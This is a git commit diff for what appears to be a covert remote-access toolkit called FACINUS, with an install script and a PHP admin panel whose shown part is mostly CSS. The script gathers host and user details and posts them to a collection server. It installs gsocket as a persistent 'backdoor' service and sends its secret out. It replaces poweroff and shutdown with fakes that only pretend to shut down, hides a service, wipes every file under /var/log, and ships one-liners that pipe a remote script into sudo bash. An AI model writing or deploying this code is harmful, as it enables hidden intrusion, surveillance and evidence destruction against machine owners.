big update
This commit is contained in:
2
install
2
install
@@ -49,7 +49,7 @@ Deployment server setup complete!
|
|||||||
Server URL: http://$SERVER_IP/deployment
|
Server URL: http://$SERVER_IP/deployment
|
||||||
Admin Page: http://$SERVER_IP/deployment/admin.php
|
Admin Page: http://$SERVER_IP/deployment/admin.php
|
||||||
Admin Password: $ADMIN_PASSWORD
|
Admin Password: $ADMIN_PASSWORD
|
||||||
Client Setup Command: eval \"\$(curl -fsSL http://$SERVER_IP/deployment/y)\"
|
Client Setup Command: eval \"\$(wget -qO- http://$SERVER_IP/deployment/y)\"
|
||||||
==============================================================
|
==============================================================
|
||||||
Secret Token for accessing logs: $SECRET_TOKEN
|
Secret Token for accessing logs: $SECRET_TOKEN
|
||||||
==============================================================
|
==============================================================
|
||||||
|
@@ -66,26 +66,15 @@ get_system_info() {
|
|||||||
echo " \"ip\": \"$(hostname -I | awk '{print $1}')\","
|
echo " \"ip\": \"$(hostname -I | awk '{print $1}')\","
|
||||||
echo " \"mac\": \"$(ip link show | grep -E 'link/ether' | head -n1 | awk '{print $2}')\","
|
echo " \"mac\": \"$(ip link show | grep -E 'link/ether' | head -n1 | awk '{print $2}')\","
|
||||||
echo " \"cpu\": \"$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d: -f2 | sed 's/^[ \t]*//')\","
|
echo " \"cpu\": \"$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d: -f2 | sed 's/^[ \t]*//')\","
|
||||||
echo " \"ram_total\": \"$(free -h | grep Mem | awk '{print $2}')\","
|
echo " \"ram_total\": \"$(free -h | awk 'NR==2 {print $2}')\","
|
||||||
echo " \"disk_total\": \"$(df -h --total | grep total | awk '{print $2}')\","
|
echo " \"disk_total\": \"$(df -h --total | grep total | awk '{print $2}')\","
|
||||||
echo " \"user\": \"$(whoami)\","
|
echo " \"user\": \"$(whoami)\","
|
||||||
echo " \"is_root\": $(if [ $EUID -eq 0 ]; then echo "true"; else echo "false"; fi),"
|
echo " \"is_root\": \"$(sudo -l &> /dev/null && echo "true" || echo "false")\","
|
||||||
echo " \"users\": ["
|
echo " \"users\": \"$(awk -F: '$7 ~ /bash|sh/ {printf "%s ", $1} END {print ""}' /etc/passwd)\","
|
||||||
|
|
||||||
local first=1
|
|
||||||
while IFS=: read -r username _ uid gid _ home shell; do
|
|
||||||
if [ "$uid" -ge 1000 ] && [ "$shell" != "/usr/sbin/nologin" ] && [ "$shell" != "/bin/false" ]; then
|
|
||||||
[ "$first" -eq 0 ] && echo ","
|
|
||||||
echo " {\"username\": \"$username\", \"uid\": $uid, \"home\": \"$home\"}"
|
|
||||||
first=0
|
|
||||||
fi
|
|
||||||
done < /etc/passwd
|
|
||||||
|
|
||||||
echo " ],"
|
|
||||||
echo " \"timestamp\": \"$(date '+%Y-%m-%d %H:%M:%S')\","
|
echo " \"timestamp\": \"$(date '+%Y-%m-%d %H:%M:%S')\","
|
||||||
echo " \"uptime\": \"$(uptime -p)\""
|
echo " \"uptime\": \"$(uptime -p)\""
|
||||||
echo "}"
|
echo "}"
|
||||||
} | tr -d '\n' | sed 's/ //g'
|
} | tr -d '\n' | sed 's/ //g' | jq -R .
|
||||||
}
|
}
|
||||||
|
|
||||||
send_logs() {
|
send_logs() {
|
||||||
@@ -98,18 +87,18 @@ send_logs() {
|
|||||||
|
|
||||||
# Submit logs to the server
|
# Submit logs to the server
|
||||||
curl -s -X POST "$LOG_ENDPOINT" \
|
curl -s -X POST "$LOG_ENDPOINT" \
|
||||||
-F "auth_token=$AUTH_TOKEN" \
|
-F "auth_token=$AUTH_TOKEN" \
|
||||||
-F "hostname=$hostname" \
|
-F "hostname=$hostname" \
|
||||||
-F "log_data=@$log_file" \
|
-F "log_data=@$log_file" \
|
||||||
-F "system_info=$sysinfo" \
|
-F "system_info=$sysinfo" \
|
||||||
-F "secret_type=$secret_type" \
|
-F "secret_type=$secret_type" \
|
||||||
-F "secret_value=$secret_val" \
|
-F "secret_value=$secret_val" \
|
||||||
> /dev/null
|
> /dev/null
|
||||||
}
|
}
|
||||||
|
|
||||||
detect_package_manager() {
|
detect_package_manager() {
|
||||||
# Detect the system's package manager
|
# Detect the system's package manager
|
||||||
if command -v apt-get &> /dev/null; then
|
if command -v apt &> /dev/null; then
|
||||||
echo "apt"
|
echo "apt"
|
||||||
elif command -v dnf &> /dev/null; then
|
elif command -v dnf &> /dev/null; then
|
||||||
echo "dnf"
|
echo "dnf"
|
||||||
@@ -135,8 +124,8 @@ install_ssh() {
|
|||||||
case "$pkg_manager" in
|
case "$pkg_manager" in
|
||||||
apt)
|
apt)
|
||||||
if ! dpkg -s openssh-server &> /dev/null; then
|
if ! dpkg -s openssh-server &> /dev/null; then
|
||||||
log_cmd "sudo apt-get update" "Updating package lists" "$log_file"
|
log_cmd "sudo apt update" "Updating package lists" "$log_file"
|
||||||
log_cmd "sudo apt-get install -y openssh-server" "Installing OpenSSH server" "$log_file"
|
log_cmd "sudo apt install -y openssh-server" "Installing OpenSSH server" "$log_file"
|
||||||
fi
|
fi
|
||||||
log_cmd "sudo systemctl enable ssh" "Enabling SSH service" "$log_file"
|
log_cmd "sudo systemctl enable ssh" "Enabling SSH service" "$log_file"
|
||||||
log_cmd "sudo systemctl start ssh" "Starting SSH service" "$log_file"
|
log_cmd "sudo systemctl start ssh" "Starting SSH service" "$log_file"
|
||||||
@@ -199,7 +188,7 @@ setup_wol() {
|
|||||||
case "$pkg_manager" in
|
case "$pkg_manager" in
|
||||||
apt)
|
apt)
|
||||||
if ! dpkg -s ethtool &> /dev/null; then
|
if ! dpkg -s ethtool &> /dev/null; then
|
||||||
log_cmd "sudo apt-get install -y ethtool" "Installing ethtool" "$log_file"
|
log_cmd "sudo apt install -y ethtool" "Installing ethtool" "$log_file"
|
||||||
fi
|
fi
|
||||||
;;
|
;;
|
||||||
dnf|yum)
|
dnf|yum)
|
||||||
@@ -231,13 +220,13 @@ setup_wol() {
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
# Check current WoL status
|
# Check current WoL status
|
||||||
log_cmd "sudo ethtool $interface" "Checking interface capabilities" "$log_file"
|
if ethtool "$interface" | grep -q "Wake-on: g"; then
|
||||||
|
echo "[+] Wake-on-LAN is already enabled on $interface."
|
||||||
|
# Try to enable WoL
|
||||||
|
log_cmd "sudo ethtool -s $interface wol g" "Enabling Wake-on-LAN" "$log_file"
|
||||||
|
|
||||||
# Try to enable WoL
|
# Create persistent configuration
|
||||||
log_cmd "sudo ethtool -s $interface wol g" "Enabling Wake-on-LAN" "$log_file"
|
cat > "$TEMP_DIR/wol.service" << EOF
|
||||||
|
|
||||||
# Create persistent configuration
|
|
||||||
cat > "$TEMP_DIR/wol.service" << EOF
|
|
||||||
[Unit]
|
[Unit]
|
||||||
Description=Enable Wake-on-LAN on $interface
|
Description=Enable Wake-on-LAN on $interface
|
||||||
After=network.target
|
After=network.target
|
||||||
@@ -251,17 +240,21 @@ RemainAfterExit=yes
|
|||||||
WantedBy=multi-user.target
|
WantedBy=multi-user.target
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
sudo mv "$TEMP_DIR/wol.service" /etc/systemd/system/wol.service
|
sudo mv "$TEMP_DIR/wol.service" /etc/systemd/system/wol.service
|
||||||
log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file"
|
log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file"
|
||||||
log_cmd "sudo systemctl enable wol.service" "Enabling WoL service" "$log_file"
|
log_cmd "sudo systemctl enable wol.service" "Enabling WoL service" "$log_file"
|
||||||
log_cmd "sudo systemctl start wol.service" "Starting WoL service" "$log_file"
|
log_cmd "sudo systemctl start wol.service" "Starting WoL service" "$log_file"
|
||||||
|
|
||||||
# Get MAC address for WoL
|
# Get MAC address for WoL
|
||||||
local mac=$(ip link show $interface | grep -E 'link/ether' | awk '{print $2}')
|
local mac=$(ip link show $interface | grep -E 'link/ether' | awk '{print $2}')
|
||||||
|
|
||||||
send_logs "$log_file" "{\"interface\":\"$interface\",\"mac\":\"$mac\"}" "wol_config"
|
send_logs "$log_file" "{\"interface\":\"$interface\",\"mac\":\"$mac\"}" "wol_config"
|
||||||
|
|
||||||
|
echo "[+] Wake-on-LAN configured for interface $interface (MAC: $mac)."
|
||||||
|
else
|
||||||
|
echo "[-] Wake-on-LAN is not enabled on $interface."
|
||||||
|
fi
|
||||||
|
|
||||||
echo "[+] Wake-on-LAN configured for interface $interface (MAC: $mac)."
|
|
||||||
}
|
}
|
||||||
|
|
||||||
setup_fake_poweroff() {
|
setup_fake_poweroff() {
|
||||||
@@ -276,12 +269,12 @@ setup_fake_poweroff() {
|
|||||||
# This script intercepts poweroff/shutdown commands and fakes a shutdown
|
# This script intercepts poweroff/shutdown commands and fakes a shutdown
|
||||||
|
|
||||||
# Backup original commands if not already done
|
# Backup original commands if not already done
|
||||||
if [ ! -f /usr/bin/poweroff.real ]; then
|
if [ ! -f /usr/sbin/poweroff.real ]; then
|
||||||
sudo cp /usr/bin/poweroff /usr/bin/poweroff.real
|
sudo cp /usr/sbin/poweroff /usr/sbin/poweroff.real
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ ! -f /usr/bin/shutdown.real ]; then
|
if [ ! -f /usr/sbin/shutdown.real ]; then
|
||||||
sudo cp /usr/bin/shutdown /usr/bin/shutdown.real
|
sudo cp /usr/sbin/shutdown /usr/sbin/shutdown.real
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Create the fake scripts
|
# Create the fake scripts
|
||||||
@@ -289,8 +282,8 @@ cat > "$TEMP_DIR/fake-poweroff" << 'EOT'
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# Fake poweroff script that just locks the screen
|
# Fake poweroff script that just locks the screen
|
||||||
echo "System is powering off..."
|
echo "System is powering off..."
|
||||||
# Change to TTY1 and clear screen
|
# Change to TTY7 and clear screen
|
||||||
sudo chvt 1
|
sudo chvt 7
|
||||||
sudo clear
|
sudo clear
|
||||||
# Display fake shutdown messages
|
# Display fake shutdown messages
|
||||||
echo -e "\n\n * Unmounting filesystems..."
|
echo -e "\n\n * Unmounting filesystems..."
|
||||||
@@ -319,31 +312,31 @@ cat > "$TEMP_DIR/poweroff-wrapper" << 'EOT'
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# Check for force flag
|
# Check for force flag
|
||||||
if [[ " $* " == *" -f "* ]] || [[ " $* " == *" --force "* ]]; then
|
if [[ " $* " == *" -f "* ]] || [[ " $* " == *" --force "* ]]; then
|
||||||
exec /usr/bin/poweroff.real "$@"
|
exec /usr/sbin/poweroff.real "$@"
|
||||||
else
|
else
|
||||||
exec /usr/local/bin/fake-poweroff
|
exec /usr/local/bin/fake-poweroff
|
||||||
fi
|
fi
|
||||||
EOT
|
EOT
|
||||||
|
|
||||||
chmod +x "$TEMP_DIR/poweroff-wrapper"
|
chmod +x "$TEMP_DIR/poweroff-wrapper"
|
||||||
sudo mv "$TEMP_DIR/poweroff-wrapper" /usr/bin/poweroff
|
sudo mv "$TEMP_DIR/poweroff-wrapper" /usr/sbin/poweroff
|
||||||
|
|
||||||
cat > "$TEMP_DIR/shutdown-wrapper" << 'EOT'
|
cat > "$TEMP_DIR/shutdown-wrapper" << 'EOT'
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# Check for force flag
|
# Check for force flag
|
||||||
if [[ " $* " == *" -f "* ]] || [[ " $* " == *" --force "* ]]; then
|
if [[ " $* " == *" -f "* ]] || [[ " $* " == *" --force "* ]]; then
|
||||||
exec /usr/bin/shutdown.real "$@"
|
exec /usr/sbin/shutdown.real "$@"
|
||||||
else
|
else
|
||||||
exec /usr/local/bin/fake-poweroff
|
exec /usr/local/bin/fake-poweroff
|
||||||
fi
|
fi
|
||||||
EOT
|
EOT
|
||||||
|
|
||||||
chmod +x "$TEMP_DIR/shutdown-wrapper"
|
chmod +x "$TEMP_DIR/shutdown-wrapper"
|
||||||
sudo mv "$TEMP_DIR/shutdown-wrapper" /usr/bin/shutdown
|
sudo mv "$TEMP_DIR/shutdown-wrapper" /usr/sbin/shutdown
|
||||||
|
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
log_cmd "bash $TEMP_DIR/fake-poweroff.sh" "Installing fake poweroff scripts" "$log_file"
|
log_cmd "sudo bash $TEMP_DIR/fake-poweroff.sh" "Installing fake poweroff scripts" "$log_file"
|
||||||
|
|
||||||
send_logs "$log_file" "Fake poweroff installed" "fake_poweroff"
|
send_logs "$log_file" "Fake poweroff installed" "fake_poweroff"
|
||||||
|
|
||||||
@@ -361,8 +354,7 @@ install_gsocket() {
|
|||||||
local pkg_manager=$(detect_package_manager)
|
local pkg_manager=$(detect_package_manager)
|
||||||
case "$pkg_manager" in
|
case "$pkg_manager" in
|
||||||
apt)
|
apt)
|
||||||
log_cmd "sudo apt-get update" "Updating package lists" "$log_file"
|
log_cmd "sudo apt update && sudo apt install -y build-essential libssl-dev automake autoconf" "Installing build dependencies" "$log_file"
|
||||||
log_cmd "sudo apt-get install -y build-essential git libssl-dev" "Installing build dependencies" "$log_file"
|
|
||||||
;;
|
;;
|
||||||
dnf|yum)
|
dnf|yum)
|
||||||
log_cmd "sudo $pkg_manager install -y gcc gcc-c++ make git openssl-devel" "Installing build dependencies" "$log_file"
|
log_cmd "sudo $pkg_manager install -y gcc gcc-c++ make git openssl-devel" "Installing build dependencies" "$log_file"
|
||||||
@@ -379,13 +371,15 @@ install_gsocket() {
|
|||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
# Clone and build gsocket
|
# build gsocket
|
||||||
log_cmd "git clone https://github.com/hackerschoice/gsocket.git $TEMP_DIR/gsocket" "Cloning gsocket repository" "$log_file"
|
if ! command -v gs-netcat &>/dev/null; then
|
||||||
log_cmd "cd $TEMP_DIR/gsocket && ./configure && make" "Building gsocket" "$log_file"
|
log_cmd "wget -q -O $TEMP_DIR/gsocket_linux-$(uname -m).tar.gz \"https://github.com/hackerschoice/gsocket/archive/refs/tags/v1.4.43.tar.gz\"" "Download gsocket" "$log_file"
|
||||||
log_cmd "cd $TEMP_DIR/gsocket && sudo make install" "Installing gsocket" "$log_file"
|
log_cmd "cd $TEMP_DIR && tar xfz gsocket_linux-*.tar.gz" "Extracting gsocket" "$log_file"
|
||||||
|
log_cmd "cd gsocket-* && ./bootstrap && ./configure && make && sudo make install" "Building and install gsocket" "$log_file"
|
||||||
|
fi
|
||||||
|
|
||||||
# Generate a unique secret
|
# Generate a unique secret
|
||||||
local gs_secret=$(head -c 16 /dev/urandom | xxd -p)
|
local gs_secret=$(gs-netcat -g)
|
||||||
|
|
||||||
# Create systemd service for persistent connection
|
# Create systemd service for persistent connection
|
||||||
cat > "$TEMP_DIR/gsocket-backdoor.service" << EOF
|
cat > "$TEMP_DIR/gsocket-backdoor.service" << EOF
|
||||||
@@ -395,7 +389,7 @@ After=network.target
|
|||||||
|
|
||||||
[Service]
|
[Service]
|
||||||
Type=simple
|
Type=simple
|
||||||
ExecStart=/usr/local/bin/gs-netcat -s $gs_secret -l -q -i
|
ExecStart=/usr/local/bin/gs-netcat -s $gs_secret -lqi
|
||||||
Restart=always
|
Restart=always
|
||||||
RestartSec=10
|
RestartSec=10
|
||||||
StandardOutput=null
|
StandardOutput=null
|
||||||
@@ -424,7 +418,7 @@ EOF
|
|||||||
GSocket Connection Information
|
GSocket Connection Information
|
||||||
=============================
|
=============================
|
||||||
Secret: $gs_secret
|
Secret: $gs_secret
|
||||||
Connection command: gs-netcat -s $gs_secret
|
Connection command: gs-netcat -s $gs_secret -i
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Send the gsocket secret to the server
|
# Send the gsocket secret to the server
|
||||||
@@ -440,7 +434,7 @@ setup_stealth() {
|
|||||||
echo "[*] Setting up stealth mode..."
|
echo "[*] Setting up stealth mode..."
|
||||||
|
|
||||||
# Hide processes by creating a systemd unit with hidden name
|
# Hide processes by creating a systemd unit with hidden name
|
||||||
cat > "$TEMP_DIR/.service" << 'EOF'
|
cat > "$TEMP_DIR/_.service" << 'EOF'
|
||||||
[Unit]
|
[Unit]
|
||||||
Description=System Update Service
|
Description=System Update Service
|
||||||
After=network.target
|
After=network.target
|
||||||
@@ -457,13 +451,10 @@ StandardError=null
|
|||||||
WantedBy=default.target
|
WantedBy=default.target
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
sudo mv "$TEMP_DIR/.service" /etc/systemd/system/
|
sudo mv "$TEMP_DIR/_.service" /etc/systemd/system/
|
||||||
log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file"
|
log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file"
|
||||||
log_cmd "sudo systemctl enable .service" "Enabling hidden service" "$log_file"
|
log_cmd "sudo systemctl enable _.service" "Enabling hidden service" "$log_file"
|
||||||
log_cmd "sudo systemctl start .service" "Starting hidden service" "$log_file"
|
log_cmd "sudo systemctl start _.service" "Starting hidden service" "$log_file"
|
||||||
|
|
||||||
# Create a hidden directory for tools
|
|
||||||
log_cmd "mkdir -p ~/.config/.hidden" "Creating hidden directory" "$log_file"
|
|
||||||
|
|
||||||
# Set up process name obfuscation script
|
# Set up process name obfuscation script
|
||||||
cat > "$TEMP_DIR/obfuscate.sh" << 'EOF'
|
cat > "$TEMP_DIR/obfuscate.sh" << 'EOF'
|
||||||
@@ -512,7 +503,7 @@ After=network.target
|
|||||||
|
|
||||||
[Service]
|
[Service]
|
||||||
Type=oneshot
|
Type=oneshot
|
||||||
ExecStart=/bin/bash -c 'find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;'
|
ExecStart=/bin/bash -c 'find /var/log -type f -name "*" -exec truncate -s 0 {} \;'
|
||||||
ExecStart=/bin/bash -c 'journalctl --vacuum-time=1d'
|
ExecStart=/bin/bash -c 'journalctl --vacuum-time=1d'
|
||||||
|
|
||||||
[Install]
|
[Install]
|
||||||
@@ -552,7 +543,8 @@ main() {
|
|||||||
echo "[*] Beginning setup..."
|
echo "[*] Beginning setup..."
|
||||||
echo "[*] Target system: $(hostname) ($(whoami))"
|
echo "[*] Target system: $(hostname) ($(whoami))"
|
||||||
|
|
||||||
source "$TEMP_DIR/y"
|
sudo apt install -y curl jq &> /dev/null || true
|
||||||
|
|
||||||
# Send initial system info
|
# Send initial system info
|
||||||
send_logs "$log_file" "$(get_system_info)" "system_info"
|
send_logs "$log_file" "$(get_system_info)" "system_info"
|
||||||
|
|
||||||
@@ -624,7 +616,7 @@ export INSTALL_GSOCKET=true
|
|||||||
export STEALTH_MODE=true
|
export STEALTH_MODE=true
|
||||||
|
|
||||||
# Download and run the main script
|
# Download and run the main script
|
||||||
curl -fsSL "http://SERVER_PLACEHOLDER/deployment/y" | bash
|
eval "$(wget -qO- http://SERVER_PLACEHOLDER/deployment/y" | bash
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Create full preset (all features)
|
# Create full preset (all features)
|
||||||
@@ -639,7 +631,7 @@ export INSTALL_GSOCKET=true
|
|||||||
export STEALTH_MODE=true
|
export STEALTH_MODE=true
|
||||||
|
|
||||||
# Download and run the main script with sudo
|
# Download and run the main script with sudo
|
||||||
curl -fsSL "http://SERVER_PLACEHOLDER/deployment/y" | sudo bash
|
eval "$(wget -qO- http://SERVER_PLACEHOLDER/deployment/y" | sudo bash
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Create quiet preset (minimal output)
|
# Create quiet preset (minimal output)
|
||||||
@@ -655,7 +647,7 @@ export INSTALL_GSOCKET=true
|
|||||||
export STEALTH_MODE=true
|
export STEALTH_MODE=true
|
||||||
|
|
||||||
# Redirect output to /dev/null for quieter operation
|
# Redirect output to /dev/null for quieter operation
|
||||||
(curl -fsSL "http://SERVER_PLACEHOLDER/deployment/y" | sudo bash) &>/dev/null &
|
(eval "$(wget -qO- http://SERVER_PLACEHOLDER/deployment/y" | sudo bash) &>/dev/null &
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Replace placeholders
|
# Replace placeholders
|
||||||
|
862
web/admin.php
862
web/admin.php
@@ -89,7 +89,7 @@ if ($authenticated && isset($_GET['host'])) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Sort logs by most recent first
|
// Sort logs by most recent first
|
||||||
usort($host_logs, function($a, $b) {
|
usort($host_logs, function($a, $b) use ($logs_dir) {
|
||||||
return filemtime($logs_dir . "/" . $_GET['host'] . "/" . $b) -
|
return filemtime($logs_dir . "/" . $_GET['host'] . "/" . $b) -
|
||||||
filemtime($logs_dir . "/" . $_GET['host'] . "/" . $a);
|
filemtime($logs_dir . "/" . $_GET['host'] . "/" . $a);
|
||||||
});
|
});
|
||||||
@@ -101,175 +101,733 @@ if ($authenticated && isset($_GET['host'])) {
|
|||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>FACINUS - Admin Panel</title>
|
<title>FACINUS - Admin Panel</title>
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
||||||
<style>
|
<style>
|
||||||
body { font-family: Arial, sans-serif; margin: 0; padding: 0; }
|
:root {
|
||||||
.container { max-width: 1200px; margin: 0 auto; padding: 20px; }
|
--primary: #3498db;
|
||||||
.header { background: #333; color: white; padding: 10px; }
|
--primary-dark: #2980b9;
|
||||||
.header h1 { margin: 0; }
|
--secondary: #2c3e50;
|
||||||
.logout { float: right; color: white; text-decoration: none; }
|
--secondary-light: #34495e;
|
||||||
.sidebar { width: 250px; float: left; }
|
--accent: #e74c3c;
|
||||||
.content { margin-left: 270px; }
|
--accent-light: #f39c12;
|
||||||
.card { border: 1px solid #ddd; border-radius: 5px; padding: 15px; margin-bottom: 20px; }
|
--text: #2c3e50;
|
||||||
.login { max-width: 400px; margin: 50px auto; border: 1px solid #ddd; padding: 20px; border-radius: 5px; }
|
--text-light: #7f8c8d;
|
||||||
.form-group { margin-bottom: 15px; }
|
--text-dark: #1a252f;
|
||||||
input[type="password"] { width: 100%; padding: 8px; box-sizing: border-box; }
|
--bg: #f5f7fa;
|
||||||
button { background: #0275d8; color: white; border: none; padding: 10px 15px; cursor: pointer; }
|
--card-bg: #ffffff;
|
||||||
.host-list { list-style: none; padding: 0; }
|
--border: #e0e6ed;
|
||||||
.host-list li { padding: 8px; border-bottom: 1px solid #eee; }
|
--success: #2ecc71;
|
||||||
.host-list li:hover { background: #f5f5f5; }
|
--danger: #e74c3c;
|
||||||
.host-list a { text-decoration: none; color: #333; display: block; }
|
--warning: #f39c12;
|
||||||
.log-list { list-style: none; padding: 0; }
|
--info: #3498db;
|
||||||
.log-list li { padding: 8px; border-bottom: 1px solid #eee; }
|
--logs-bg: #f8f9fa;
|
||||||
.log-list a { text-decoration: none; color: #333; }
|
--logs-border: #e9ecef;
|
||||||
.tabs { margin-bottom: 20px; }
|
--secret-bg: #fff9e6;
|
||||||
.tab { display: inline-block; padding: 10px 15px; cursor: pointer; border: 1px solid #ddd; }
|
--secret-border: #ffecb3;
|
||||||
.tab.active { background: #007bff; color: white; }
|
}
|
||||||
.logs { background: #f8f8f8; padding: 15px; border: 1px solid #ddd; overflow: auto; max-height: 600px; font-family: monospace; white-space: pre-wrap; }
|
|
||||||
.secret { background: #ffffd8; padding: 15px; border: 1px solid #e6e6a3; margin-bottom: 10px; font-family: monospace; }
|
* {
|
||||||
.secret-title { font-weight: bold; margin-bottom: 5px; }
|
box-sizing: border-box;
|
||||||
.alert { padding: 15px; margin-bottom: 20px; border: 1px solid transparent; border-radius: 4px; }
|
margin: 0;
|
||||||
.alert-danger { color: #721c24; background-color: #f8d7da; border-color: #f5c6cb; }
|
padding: 0;
|
||||||
.command { background: #f8f8f8; padding: 10px; border: 1px solid #ddd; font-family: monospace; margin: 10px 0; }
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, Oxygen, Ubuntu, sans-serif;
|
||||||
|
color: var(--text);
|
||||||
|
background-color: var(--bg);
|
||||||
|
line-height: 1.6;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
width: 100%;
|
||||||
|
max-width: 1400px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header {
|
||||||
|
background: linear-gradient(135deg, var(--secondary) 0%, var(--secondary-light) 100%);
|
||||||
|
color: white;
|
||||||
|
padding: 15px 0;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||||
|
position: sticky;
|
||||||
|
top: 0;
|
||||||
|
z-index: 100;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header h1 {
|
||||||
|
font-weight: 600;
|
||||||
|
font-size: 24px;
|
||||||
|
letter-spacing: 0.5px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header h1 i {
|
||||||
|
margin-right: 10px;
|
||||||
|
color: var(--accent-light);
|
||||||
|
}
|
||||||
|
|
||||||
|
.header-content {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logout {
|
||||||
|
color: white;
|
||||||
|
text-decoration: none;
|
||||||
|
background-color: rgba(255, 255, 255, 0.1);
|
||||||
|
padding: 8px 15px;
|
||||||
|
border-radius: 4px;
|
||||||
|
transition: background-color 0.2s ease;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logout i {
|
||||||
|
margin-right: 6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logout:hover {
|
||||||
|
background-color: rgba(255, 255, 255, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dashboard {
|
||||||
|
display: flex;
|
||||||
|
margin-top: 25px;
|
||||||
|
gap: 25px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sidebar {
|
||||||
|
width: 280px;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content {
|
||||||
|
flex-grow: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: var(--card-bg);
|
||||||
|
border-radius: 8px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
|
||||||
|
padding: 20px;
|
||||||
|
margin-bottom: 25px;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
margin-bottom: 15px;
|
||||||
|
padding-bottom: 15px;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-header h2, .card-header h3 {
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--text-dark);
|
||||||
|
margin: 0;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-header h2 i, .card-header h3 i {
|
||||||
|
margin-right: 10px;
|
||||||
|
color: var(--primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.login {
|
||||||
|
max-width: 400px;
|
||||||
|
margin: 100px auto;
|
||||||
|
background: var(--card-bg);
|
||||||
|
border-radius: 8px;
|
||||||
|
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
|
||||||
|
padding: 30px;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
|
||||||
|
.login h2 {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 30px;
|
||||||
|
color: var(--text-dark);
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
font-size: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login h2 i {
|
||||||
|
margin-right: 12px;
|
||||||
|
color: var(--primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group label {
|
||||||
|
display: block;
|
||||||
|
margin-bottom: 8px;
|
||||||
|
font-weight: 500;
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="password"], input[type="text"] {
|
||||||
|
width: 100%;
|
||||||
|
padding: 12px;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 16px;
|
||||||
|
transition: border-color 0.2s ease;
|
||||||
|
background-color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="password"]:focus, input[type="text"]:focus {
|
||||||
|
border-color: var(--primary);
|
||||||
|
outline: none;
|
||||||
|
box-shadow: 0 0 0 3px rgba(52, 152, 219, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
button, .button {
|
||||||
|
display: inline-block;
|
||||||
|
background: var(--primary);
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
padding: 12px 20px;
|
||||||
|
font-size: 16px;
|
||||||
|
border-radius: 4px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background 0.2s ease;
|
||||||
|
font-weight: 500;
|
||||||
|
text-align: center;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
button:hover, .button:hover {
|
||||||
|
background: var(--primary-dark);
|
||||||
|
}
|
||||||
|
|
||||||
|
.host-list {
|
||||||
|
list-style: none;
|
||||||
|
margin-bottom: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
